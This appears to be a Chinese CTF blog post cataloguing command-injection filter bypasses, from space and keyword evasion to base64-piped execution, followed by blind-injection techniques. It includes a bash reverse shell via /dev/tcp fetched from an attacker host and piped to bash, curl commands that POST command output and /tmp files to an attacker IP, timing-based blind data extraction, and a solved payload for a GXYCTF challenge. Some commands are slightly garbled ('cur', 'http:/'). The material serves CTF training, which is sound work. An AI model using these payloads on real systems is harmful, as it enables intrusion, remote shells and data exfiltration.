CTF命令执行常用绕过方式

一、Bash与CMD常用命令

1. linux常用读取命令

tac flag
nl flag
more flag
head flag
less flag
tail flag
od flag
pr flag

其他命令:
ls 列出当前目录
ls /etc 列出etc下的目录
rm a.txt 删除a.txt
mv a b 将a 文件重命名为b
cp a a2 复制a 到a2

命令连接符:

无论A执行成功与否,都会执行B:

	A;B

AB同时执行:

	A&B

A执行成功后,才能执行B:

	A&&B

A执行的结果,作为B命令的参数,AB均会执行:

	A |B

A执行失败后,执行B

	A||B

举例:

$username = &ls
system('mkdir'.$username);

这里&要经过url编码,进行绕过。

2.遇到带过滤的输入

(1)过滤空格
%09、%0a、${IFS}、$IFS $9绕过。
(2)过滤关键字cat、flag

  • 用读取文件绕过
  • 在过滤的字符加单引号、双引号、反斜杠(cat''t cat'' ''t ca\t
  • $(printf "\x6c \x73") ==ls
  • base64绕过:echo Y2F0IGluZGV4LnBocA == | Base64-d | bash:
  • 通配符 cat fl?g cat f*
  • 拼接: a=c;b=at;$a$b

3.遇到无回显的输入

(1)可以访问互联网,反弹shell:

  • 在攻击机存储shell文件:
 bash -i>& /dev/tcp/ip/port 0>&1
  • 靶机执行
cur http:/攻击机IP/shell文件 | bash
  • 攻击机监听1337端口
 nc -lvvp 1337

(2)可以访问互联网,靶机外带:

cur http:/攻击机IP/-X POST-d "a=`ls`"

如果过滤反引号,用$()代替。
(3)可以访问互联网,写入靶机临时目录,然后传回攻击机:

ls -l > /tmp/result
cur http:/攻击机IP/-X POST-F "file = @/tmp/result"

(4)不出网,靶机web目录可以写文件:

http://靶机IP/cmd.php?cmd=ls -l >1.txt

(5)不出网,靶机web目录不能写:

if[`whoami |cut -c 1` = "r"];then sleep 2;fi
/* 延时,说明第一位是r*/
if[`whoami |cut -c 2` = "o"];then sleep 2;fi
/* 延时,说明第二位是o*/

4.实战

[GXYCTF2019]Ping Ping Ping

view-source:http://IP/?ip=1;cat$IFS$9`ls`

这道题没有过滤$IFS$9 ,反引号能过将ls执行的返回结果,完整显示出来,结合前面的cat,拿下flag.
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

晓梦林

都看到这里了,支持一下作者呗~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值